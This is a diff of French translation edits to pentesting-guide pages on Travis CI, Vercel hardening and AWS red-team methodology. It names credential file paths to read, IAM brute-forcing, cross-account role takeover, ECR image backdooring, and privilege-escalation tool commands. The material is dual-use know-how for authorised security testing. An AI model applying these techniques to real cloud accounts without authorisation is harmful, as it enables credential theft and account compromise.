+Pour **chaque dépôt**, TravisCI génère une **paire de clés RSA**, **garde** la **clé privée**, et rend la **clé publique du dépôt disponible** pour ceux qui ont **accès** au dépôt.
 
 Vous pouvez accéder à la clé publique d'un dépôt avec :
 ```
@@ -67,19 +67,19 @@ Travis CI Enterprise est une **version sur site de Travis CI**, que vous pouvez
 
 **Travis CI Enterprise se compose de deux parties principales :**
 
-1. Les **services TCI** (ou services de base TCI), responsables de l'intégration avec les systèmes de contrôle de version, de l'autorisation des builds, de la planification des tâches de build, etc.
+1. Les **services TCI** (ou services principaux TCI), responsables de l'intégration avec les systèmes de contrôle de version, de l'autorisation des builds, de la planification des tâches de build, etc.
 2. Le **Worker TCI** et les images d'environnement de build (également appelées images OS).
 
-**Les services de base TCI nécessitent les éléments suivants :**
+**Les services principaux TCI nécessitent les éléments suivants :**
 
 1. Une base de données **PostgreSQL11** (ou ultérieure).
 2. Une infrastructure pour déployer un cluster Kubernetes ; il peut être déployé dans un cluster de serveurs ou sur une seule machine si nécessaire.
-3. En fonction de votre configuration, vous souhaiterez peut-être déployer et configurer certains des composants par vous-même, par exemple, RabbitMQ - consultez le [Configuration de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) pour plus de détails.
+3. En fonction de votre configuration, vous souhaiterez peut-être déployer et configurer certains des composants vous-même, par exemple, RabbitMQ - consultez le [Configuration de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) pour plus de détails.
 
 **Le Worker TCI nécessite les éléments suivants :**
 
 1. Une infrastructure où une image docker contenant le **Worker et une image de build liée peuvent être déployées**.
-2. Une connectivité à certains composants des services de base Travis CI - consultez le [Configuration du Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) pour plus de détails.
+2. Une connectivité à certains composants des services principaux Travis CI - consultez le [Configuration du Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) pour plus de détails.
 
 Le nombre d'images OS de Worker TCI et d'environnement de build déployées déterminera la capacité totale concurrente du déploiement de Travis CI Enterprise dans votre infrastructure.
 
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 1bc8b9120..139cac6b9 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -6,7 +6,7 @@
 
 Dans Vercel, une **équipe** est l'**environnement** complet qui appartient à un client et un **projet** est une **application**.
 
-Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur avec la **permission de rôle de visualiseur** ou au moins **la permission de visualiseur de projet sur les projets** à vérifier (au cas où vous n'avez besoin que de vérifier les projets et non la configuration de l'équipe également).
+Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur avec la **permission de rôle de visualiseur** ou au moins **permission de visualiseur de projet sur les projets** à vérifier (au cas où vous n'auriez besoin de vérifier que les projets et non la configuration de l'équipe également).
 
 ## Paramètres du projet
 
@@ -36,7 +36,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 - **Risque :** Détournement de domaine, interception de trafic et attaques de phishing.
 - **Gestion des certificats SSL/TLS**
 - **Mauvaise configuration :** Utilisation de certificats SSL/TLS faibles ou expirés.
-- **Risque :** Vulnérable aux attaques de type homme du milieu (MITM), compromettant l'intégrité et la confidentialité des données.
+- **Risque :** Vulnérabilité aux attaques de type homme du milieu (MITM), compromettant l'intégrité et la confidentialité des données.
 - **Mise en œuvre de DNSSEC**
 - **Mauvaise configuration :** Échec de l'activation de DNSSEC ou paramètres DNSSEC incorrects.
 - **Risque :** Sensibilité accrue au spoofing DNS et aux attaques de poisoning de cache.
@@ -86,7 +86,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 #### Configurations de sécurité :
 
 - **Étape de build ignorée (TODO)**
-- **Mauvaise configuration :** Il semble que cette option permette de configurer un script/commandes bash qui seront exécutés lorsqu'un nouveau commit est poussé dans Github, ce qui pourrait permettre RCE.
+- **Mauvaise configuration :** Il semble que cette option permette de configurer un script/commandes bash qui seront exécutés lorsqu'un nouveau commit est poussé sur Github, ce qui pourrait permettre RCE.
 - **Risque :** À déterminer
 
 ---
@@ -103,7 +103,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 - **Intégrations sur-autorisation**
 - **Mauvaise configuration :** Accorder des permissions excessives aux services intégrés.
 - **Risque :** Accès non autorisé aux ressources du projet, manipulation de données ou interruptions de service.
-- **Absence de surveillance des intégrations**
+- **Manque de surveillance des intégrations**
 - **Mauvaise configuration :** Échec de la surveillance et de l'audit des intégrations tierces.
 - **Risque :** Détection retardée des intégrations compromises, augmentant l'impact potentiel des violations de sécurité.
 
@@ -118,7 +118,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 **Authentification Vercel**
 
 - **Mauvaise configuration :** Désactiver l'authentification ou ne pas appliquer de vérifications des membres de l'équipe.
-- **Risque :** Des utilisateurs non autorisés peuvent accéder aux déploiements, entraînant des violations de données ou un abus de l'application.
+- **Risque :** Des utilisateurs non autorisés peuvent accéder aux déploiements, entraînant des violations de données ou un usage abusif de l'application.
 
 **Contournement de protection pour l'automatisation**
 
@@ -215,7 +215,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 - **Mauvaise configuration :** Autoriser des demandes de tirage non autorisées sans examens appropriés.
 - **Risque :** Du code malveillant peut être fusionné dans la base de code, introduisant des vulnérabilités ou des portes dérobées.
 
-**Accès backend sécurisé avec fédération OIDC**
+**Accès sécurisé au backend avec fédération OIDC**
 
 - **Mauvaise configuration :** Configuration incorrecte des paramètres OIDC ou utilisation d'URL d'émetteur non sécurisées.
 - **Risque :** Accès non autorisé aux services backend via des flux d'authentification défectueux.
@@ -234,13 +234,13 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 
 ### Avancé
 
-**Objectif :** Accès à des paramètres de projet supplémentaires pour peaufiner les configurations et améliorer la sécurité.
+**Objectif :** Accès à des paramètres de projet supplémentaires pour affiner les configurations et améliorer la sécurité.
 
 #### Configurations de sécurité :
 
-**Liste de répertoires**
+**Liste des répertoires**
 
-- **Mauvaise configuration :** Activer la liste de répertoires permet aux utilisateurs de voir le contenu des répertoires sans fichier d'index.
+- **Mauvaise configuration :** Activer la liste des répertoires permet aux utilisateurs de voir le contenu des répertoires sans fichier d'index.
 - **Risque :** Exposition de fichiers sensibles, de la structure de l'application et de points d'entrée potentiels pour des attaques.
 
 ---
@@ -310,7 +310,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
 - **Mauvaise configuration :** Un attaquant pourrait maintenir sa persistance en invitant un compte qu'il contrôle
 - **Risque :** Persistance de l'attaquant
 - **Rôles**
-- **Mauvaise configuration :** Accorder trop de permissions à des personnes qui n'en ont pas besoin augmente le risque de la configuration de Vercel. Vérifiez tous les rôles possibles sur [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Mauvaise configuration :** Accorder trop de permissions à des personnes qui n'en ont pas besoin augmente le risque de la configuration de Vercel. Vérifiez tous les rôles possibles dans [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
 - **Risque :** Augmente l'exposition de l'équipe Vercel
 
 ---
@@ -323,7 +323,7 @@ Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d
 
 - **Sur-autorisation des membres :** Attribuer des rôles avec plus de permissions que nécessaire, entraînant un accès ou des actions non autorisées.
 - **Attributions de rôles incorrectes :** Attribuer incorrectement des rôles qui ne correspondent pas aux responsabilités des membres de l'équipe, provoquant une élévation de privilèges.
-- **Absence de séparation des projets :** Échec de la séparation des projets sensibles, permettant un accès plus large que prévu.
+- **Manque de séparation des projets :** Échec de la séparation des projets sensibles, permettant un accès plus large que prévu.
 - **Gestion de groupe insuffisante :** Ne pas examiner ou mettre à jour régulièrement les groupes d'accès, entraînant des permissions d'accès obsolètes ou inappropriées.
 - **Définitions de rôles incohérentes :** Utilisation de définitions de rôles incohérentes ou peu claires à travers différents groupes d'accès, entraînant confusion et lacunes de sécurité.
 
@@ -349,12 +349,12 @@ Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d
 - Utiliser un domaine email commun (par exemple, `gmail.com`, `hotmail.com`) au lieu d'un domaine spécifique à l'entreprise.
 - **Risques :**
 - **Accès non autorisé :** Des utilisateurs avec des adresses email de domaines non prévus peuvent recevoir des invitations à rejoindre votre équipe.
-- **Exposition des données :** Exposition potentielle d'informations sensibles sur le projet à des individus non autorisés.
-- **Scopes Git protégés :** Vous permet d'ajouter jusqu'à 5 scopes Git à votre équipe pour empêcher d'autres équipes Vercel de déployer des dépôts à partir du scope protégé. Plusieurs équipes peuvent spécifier le même scope, permettant l'accès aux deux équipes.
-- **Mauvaise configuration :** Ne pas ajouter des scopes Git critiques à la liste protégée.
+- **Exposition des données :** Exposition potentielle d'informations sensibles du projet à des individus non autorisés.
+- **Scopes Git protégés :** Vous permet d'ajouter jusqu'à 5 scopes Git à votre équipe pour empêcher d'autres équipes Vercel de déployer des dépôts à partir du scope protégé. Plusieurs équipes peuvent spécifier le même scope, permettant aux deux équipes d'accéder.
+- **Mauvaise configuration :** Ne pas ajouter de scopes Git critiques à la liste protégée.
 - **Risques :**
 - **Déploiements non autorisés :** D'autres équipes peuvent déployer des dépôts à partir des scopes Git de votre organisation sans autorisation.
-- **Exposition de la propriété intellectuelle :** Du code propriétaire pourrait être déployé et accessible en dehors de votre équipe.
+- **Exposition de propriété intellectuelle :** Du code propriétaire pourrait être déployé et accessible en dehors de votre équipe.
 - **Politiques de variables d'environnement :** Applique des politiques pour la création et l'édition des variables d'environnement de l'équipe. En particulier, vous pouvez imposer que toutes les variables d'environnement soient créées en tant que **Variables d'environnement sensibles**, qui ne peuvent être décryptées que par le système de déploiement de Vercel.
 - **Mauvaise configuration :** Garder la mise en application des variables d'environnement sensibles désactivée.
 - **Risques :**
@@ -364,8 +364,8 @@ Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d
 - **Mauvaise configuration :**\
 Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
 - **Risques :**
-- **Violations de la vie privée :** Exposition d'activités et de données sensibles des utilisateurs.
-- **Altération des journaux :** Des acteurs malveillants pourraient modifier ou supprimer des journaux pour dissimuler leurs traces.
+- **Violations de la vie privée :** Exposition d'activités et de données utilisateur sensibles.
+- **Altération des journaux :** Des acteurs malveillants pourraient modifier ou supprimer des journaux pour couvrir leurs traces.
 - **SAML Single Sign-On :** Permet la personnalisation de l'authentification SAML et de la synchronisation des annuaires pour votre équipe, permettant l'intégration avec un fournisseur d'identité (IdP) pour une authentification et une gestion des utilisateurs centralisées.
 - **Mauvaise configuration :** Un attaquant pourrait créer une porte dérobée dans les paramètres de l'équipe en configurant des paramètres SAML tels que l'ID d'entité, l'URL SSO ou les empreintes de certificat.
 - **Risque :** Maintenir la persistance
@@ -374,8 +374,8 @@ Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
 - **Risques :**
 - **Violations de la vie privée :** Non-conformité aux réglementations sur la protection des données comme le RGPD.
 - **Répercussions légales :** Amendes et pénalités potentielles pour mauvaise gestion des données personnelles.
-- **Blocage IP :** Permet la configuration des adresses IP et des plages CIDR à partir desquelles Vercel doit bloquer les demandes. Les demandes bloquées ne contribuent pas à votre facturation.
-- **Mauvaise configuration :** Pourrait être abusée par un attaquant pour permettre un trafic malveillant ou bloquer un trafic légitime.
+- **Blocage IP :** Permet la configuration des adresses IP et des plages CIDR que Vercel doit bloquer. Les requêtes bloquées ne contribuent pas à votre facturation.
+- **Mauvaise configuration :** Pourrait être abusé par un attaquant pour permettre un trafic malveillant ou bloquer un trafic légitime.
 - **Risques :**
 - **Refus de service aux utilisateurs légitimes :** Blocage d'accès pour des utilisateurs ou partenaires valides.
 - **Perturbations opérationnelles :** Perte de disponibilité de service pour certaines régions ou clients.
@@ -394,8 +394,8 @@ Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
 2. **Blocs CIDR qui se chevauchent**
 - **Mauvaise configuration :** Sélectionner des blocs CIDR qui se chevauchent avec des VPC existants ou d'autres réseaux.
 - **Risque :** Conflits de réseau entraînant des connexions échouées, un accès non autorisé ou des fuites de données entre les réseaux.
-3. **Configuration de peering VPC incorrecte**
-- **Mauvaise configuration :** Configuration incorrecte du peering VPC (par exemple, mauvais IDs de VPC, mises à jour incomplètes de la table de routage).
+3. **Configuration incorrecte du peering VPC**
+- **Mauvaise configuration :** Configuration incorrecte du peering VPC (par exemple, mauvais ID de VPC, mises à jour incomplètes de la table de routage).
 - **Risque :** Accès non autorisé à l'infrastructure backend, connexions sécurisées échouées et violations potentielles de données.
 4. **Attributions de projet excessives**
 - **Mauvaise configuration :** Attribuer plusieurs projets à un seul réseau Secure Compute sans isolation appropriée.
@@ -413,8 +413,8 @@ Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
 - **Mauvaise configuration :** Ne pas configurer de régions de basculement passives ou configurer incorrectement les paramètres de basculement.
 - **Risque :** Temps d'arrêt du service lors des pannes de la région principale, entraînant une disponibilité réduite et une incohérence potentielle des données.
 9. **Dépassement des limites de connexion de peering VPC**
-- **Mauvaise configuration :** Essayer d'établir plus de connexions de peering VPC que la limite autorisée (par exemple, dépasser 50 connexions).
-- **Risque :** Incapacité à connecter en toute sécurité les services backend nécessaires, causant des échecs de déploiement et des perturbations opérationnelles.
+- **Mauvaise configuration :** Tenter d'établir plus de connexions de peering VPC que la limite autorisée (par exemple, dépasser 50 connexions).
+- **Risque :** Incapacité à connecter en toute sécurité les services backend nécessaires, provoquant des échecs de déploiement et des perturbations opérationnelles.
 10. **Paramètres réseau non sécurisés**
 - **Mauvaise configuration :** Règles de pare-feu faibles, absence de cryptage ou segmentation réseau inappropriée au sein du réseau Secure Compute.
 - **Risque :** Interception de données, accès non autorisé aux services backend et vulnérabilité accrue aux attaques.
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 4bb746c4f..23541b666 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -41,8 +41,8 @@ Du point de vue d'une Red Team, le **premier pas pour compromettre un environnem
 - **Lecture de fichiers locaux**
 - `/home/USERNAME/.aws/credentials`
 - `C:\Users\USERNAME\.aws\credentials`
-- **Violations** de tiers
-- **Employé** interne
+- **Tiers** compromis
+- Employé **interne**
 - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)identifiants
 
 Ou en **compromettant un service non authentifié** exposé :
@@ -100,9 +100,9 @@ aws-services/aws-organizations-enum.md
 
 ### Enumeration IAM
 
-Si vous avez suffisamment de permissions, **vérifier les privilèges de chaque entité à l'intérieur du compte AWS** vous aidera à comprendre ce que vous et d'autres identités pouvez faire et comment **escalader les privilèges**.
+Si vous avez suffisamment de permissions, **vérifier les privilèges de chaque entité dans le compte AWS** vous aidera à comprendre ce que vous et d'autres identités pouvez faire et comment **escalader les privilèges**.
 
-Si vous n'avez pas suffisamment de permissions pour énumérer IAM, vous pouvez **les voler par bruteforce** pour les découvrir.\
+Si vous n'avez pas assez de permissions pour énumérer IAM, vous pouvez **les voler par bruteforce** pour les découvrir.\
 Vérifiez **comment faire l'énumération et le bruteforce** dans :
 
 {{#ref}}
@@ -110,7 +110,7 @@ aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!NOTE]
-> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de déterminer quels services sont utilisés dans l'environnement.\
+> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de découvrir quels services sont utilisés dans l'environnement.\
 > Dans la section suivante, vous pouvez vérifier quelques façons d'**énumérer certains services courants.**
 
 ## Enumeration des Services, Post-Exploitation & Persistance
@@ -139,8 +139,8 @@ aws-privilege-escalation/
 
 ## Services Exposés Publiquement
 
-Lors de l'énumération des services AWS, vous pourriez avoir trouvé certains d'entre eux **exposant des éléments à Internet** (ports VM/Containers, bases de données ou services de files d'attente, instantanés ou buckets...).\
-En tant que pentester/équipe rouge, vous devriez toujours vérifier si vous pouvez trouver **des informations sensibles / des vulnérabilités** sur eux car ils pourraient vous fournir **un accès supplémentaire au compte AWS**.
+En énumérant les services AWS, vous pourriez avoir trouvé certains d'entre eux **exposant des éléments à Internet** (ports VM/Containers, bases de données ou services de files d'attente, snapshots ou buckets...).\
+En tant que pentester/équipe rouge, vous devriez toujours vérifier si vous pouvez trouver des **informations sensibles / vulnérabilités** sur eux, car ils pourraient vous fournir **un accès supplémentaire au compte AWS**.
 
 Dans ce livre, vous devriez trouver **des informations** sur comment trouver **des services AWS exposés et comment les vérifier**. Concernant comment trouver **des vulnérabilités dans des services réseau exposés**, je vous recommanderais de **chercher** le **service** spécifique dans :
 
@@ -150,7 +150,7 @@ https://book.hacktricks.xyz/
 
 ## Compromettre l'Organisation
 
-### Depuis le compte racine/de gestion
+### Depuis le compte racine/gestion
 
 Lorsque le compte de gestion crée de nouveaux comptes dans l'organisation, un **nouveau rôle** est créé dans le nouveau compte, nommé par défaut **`OrganizationAccountAccessRole`** et donnant la politique **AdministratorAccess** au **compte de gestion** pour accéder au nouveau compte.
 
@@ -159,7 +159,7 @@ Lorsque le compte de gestion crée de nouveaux comptes dans l'organisation, un *
 Donc, pour accéder en tant qu'administrateur à un compte enfant, vous devez :
 
 - **Compromettre** le **compte de gestion** et trouver l'**ID** des **comptes enfants** et les **noms** du **rôle** (OrganizationAccountAccessRole par défaut) permettant au compte de gestion d'accéder en tant qu'admin.
-- Pour trouver les comptes enfants, allez dans la section organisations dans la console aws ou exécutez `aws organizations list-accounts`
+- Pour trouver les comptes enfants, allez dans la section des organisations dans la console AWS ou exécutez `aws organizations list-accounts`
 - Vous ne pouvez pas trouver le nom des rôles directement, donc vérifiez toutes les politiques IAM personnalisées et recherchez celles permettant **`sts:AssumeRole` sur les comptes enfants précédemment découverts**.
 - **Compromettre** un **principal** dans le compte de gestion avec la permission **`sts:AssumeRole` sur le rôle dans les comptes enfants** (même si le compte permet à quiconque du compte de gestion de se faire passer pour, étant un compte externe, des permissions spécifiques `sts:AssumeRole` sont nécessaires).
 
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
 python cloudmapper.py prepare #Prepare webserver
 python cloudmapper.py webserver #Show webserver
 ```
-- [**cartography**](https://github.com/lyft/cartography): Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
+- [**cartography**](https://github.com/lyft/cartography) : Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
 ```bash
 # Install
 pip install cartography
@@ -240,7 +240,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
 ### Privesc & Exploitation
 
 - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS scanné, y compris les AWS Shadow Admins. Il utilise powershell. Vous pouvez trouver la **définition des politiques privilégiées** dans la fonction **`Check-PrivilegedPolicy`** dans [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu est un **framework d'exploitation AWS** open-source, conçu pour les tests de sécurité offensive contre les environnements cloud. Il peut **énumérer**, trouver des **mauvais configurations** et **les exploiter**. Vous pouvez trouver la **définition des permissions privilégiées** dans [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) à l'intérieur du dict **`user_escalation_methods`**.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu est un **framework d'exploitation AWS** open-source, conçu pour les tests de sécurité offensive contre les environnements cloud. Il peut **énumérer**, trouver des **mauvais configurations** et **les exploiter**. Vous pouvez trouver la **définition des permissions privilégiées** dans [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) à l'intérieur du dict **`user_escalation_methods`**.
 - Notez que pacu **vérifie uniquement vos propres chemins de privesc** (pas à l'échelle du compte).
 ```bash
 # Install
@@ -255,7 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) est un script et une bibliothèque pour identifier les risques dans la configuration de la gestion des identités et des accès (IAM) d'un compte AWS ou d'une organisation AWS. Il modélise les différents utilisateurs et rôles IAM dans un compte sous forme de graphe orienté, ce qui permet de vérifier les **escalades de privilèges** et les chemins alternatifs qu'un attaquant pourrait emprunter pour accéder à une ressource ou à une action dans AWS. Vous pouvez vérifier les **permissions utilisées pour trouver des chemins privesc** dans les fichiers se terminant par `_edges.py` dans [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper) : Principal Mapper (PMapper) est un script et une bibliothèque pour identifier les risques dans la configuration de la gestion des identités et des accès AWS (IAM) pour un compte AWS ou une organisation AWS. Il modélise les différents utilisateurs et rôles IAM dans un compte sous forme de graphe orienté, ce qui permet de vérifier les **élévations de privilèges** et les chemins alternatifs qu'un attaquant pourrait emprunter pour accéder à une ressource ou à une action dans AWS. Vous pouvez vérifier les **permissions utilisées pour trouver des chemins de privesc** dans les fichiers se terminant par `_edges.py` dans [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
 ```bash
 # Install
 pip install principalmapper
@@ -277,7 +277,7 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
 pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining est un outil d'évaluation de la sécurité AWS IAM qui identifie les violations du principe du moindre privilège et génère un rapport HTML priorisé par risque.\
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining) : Cloudsplaining est un outil d'évaluation de la sécurité AWS IAM qui identifie les violations du principe du moindre privilège et génère un rapport HTML priorisé par risque.\
 Il vous montrera les clients **trop privilégiés**, les **politiques** en ligne et AWS et quels **principaux y ont accès**. (Il vérifie non seulement les privesc mais aussi d'autres types de permissions intéressantes, recommandé à utiliser).
 ```bash
 # Install
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
 # Analyze the IAM policies
 cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
 ```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack évalue les comptes AWS pour des **vulnérabilités de détournement de sous-domaine** en raison de configurations déconnectées de Route53 et CloudFront.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lister les dépôts ECR -> Tirer le dépôt ECR -> Installer un backdoor -> Pousser l'image avec backdoor
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag est un outil qui **cherche** à travers les snapshots publics d'Elastic Block Storage (**EBS**) des secrets qui ont pu être accidentellement laissés.
+- [**cloudjack**](https://github.com/prevade/cloudjack) : CloudJack évalue les comptes AWS pour des **vulnérabilités de détournement de sous-domaine** en raison de configurations déconnectées de Route53 et CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat) : Lister les dépôts ECR -> Tirer le dépôt ECR -> Y insérer une porte dérobée -> Pousser l'image avec porte dérobée
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag) : Dufflebag est un outil qui **cherche** à travers les instantanés publics d'Elastic Block Storage (**EBS**) des secrets qui ont pu être accidentellement laissés.
 
 ### Audit
 
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
 # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
 ## use "cis" for cis level 1 and 2
 ```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité AWS, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique.
+- [**Prowler**](https://github.com/prowler-cloud/prowler) : Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité AWS, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique.
 ```bash
 # Install python3, jq and git
 # Install
@@ -314,11 +314,11 @@ prowler -v
 prowler 
 prowler aws --profile custom-profile [-M csv json json-asff html]
 ```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vous aide à acquérir une conscience situationnelle dans des environnements cloud inconnus. C'est un outil en ligne de commande open source créé pour aider les testeurs de pénétration et d'autres professionnels de la sécurité offensive à trouver des chemins d'attaque exploitables dans l'infrastructure cloud.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox) : CloudFox vous aide à acquérir une conscience situationnelle dans des environnements cloud inconnus. C'est un outil en ligne de commande open source créé pour aider les testeurs de pénétration et d'autres professionnels de la sécurité offensive à trouver des chemins d'attaque exploitables dans l'infrastructure cloud.
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite est un outil d'audit de sécurité multi-cloud open source, qui permet l'évaluation de la posture de sécurité des environnements cloud.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite) : Scout Suite est un outil d'audit de sécurité multi-cloud open source, qui permet l'évaluation de la posture de sécurité des environnements cloud.
 ```bash
 # Install
 virtualenv -p python3 venv
@@ -334,7 +334,7 @@ scout aws -p dev
 
 ### Audit Constant
 
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian est un moteur de règles pour gérer les comptes et ressources de cloud public. Il permet aux utilisateurs de **définir des politiques pour activer une infrastructure cloud bien gérée**, à la fois sécurisée et optimisée en coûts. Il consolide de nombreux scripts ad hoc que les organisations ont en un outil léger et flexible, avec des métriques et des rapports unifiés.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian est un moteur de règles pour gérer les comptes et ressources de cloud public. Il permet aux utilisateurs de **définir des politiques pour permettre une infrastructure cloud bien gérée**, à la fois sécurisée et optimisée en coûts. Il consolide de nombreux scripts ad hoc que les organisations ont en un outil léger et flexible, avec des métriques et des rapports unifiés.
 - [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** est une plateforme pour **la surveillance continue de la conformité, le reporting de conformité et l'automatisation de la sécurité pour le clou**d. Dans PacBot, les politiques de sécurité et de conformité sont mises en œuvre sous forme de code. Toutes les ressources découvertes par PacBot sont évaluées par rapport à ces politiques pour mesurer la conformité aux politiques. Le cadre **auto-fix** de PacBot offre la possibilité de répondre automatiquement aux violations de politiques en prenant des actions prédéfinies.
 - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert est un cadre d'analyse de données **en temps réel** sans serveur qui vous permet de **ingérer, analyser et alerter** sur des données provenant de n'importe quel environnement, **en utilisant des sources de données et une logique d'alerte que vous définissez**. Les équipes de sécurité informatique utilisent StreamAlert pour scanner des téraoctets de données de journal chaque jour pour la détection et la réponse aux incidents.
 
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 09a69b37a..bf14fb4e6 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -22,7 +22,7 @@ Par conséquent, il y a **deux types de comptes dans une organisation** (nous pa
 - Gérer les invitations
 - Appliquer des politiques aux entités (roots, OUs ou comptes) au sein de l'organisation
 - Activer l'intégration avec les services AWS pris en charge pour fournir des fonctionnalités de service à tous les comptes de l'organisation.
-- Il est possible de se connecter en tant qu'utilisateur root en utilisant l'email et le mot de passe utilisés pour créer ce compte root/organisation.
+- Il est possible de se connecter en tant qu'utilisateur root en utilisant l'email et le mot de passe utilisés pour créer ce compte/organisation root.
 
 Le compte de gestion a les **responsabilités d'un compte payeur** et est responsable du paiement de tous les frais accumulés par les comptes membres. Vous ne pouvez pas changer le compte de gestion d'une organisation.
 
@@ -43,7 +43,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
 
 C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\
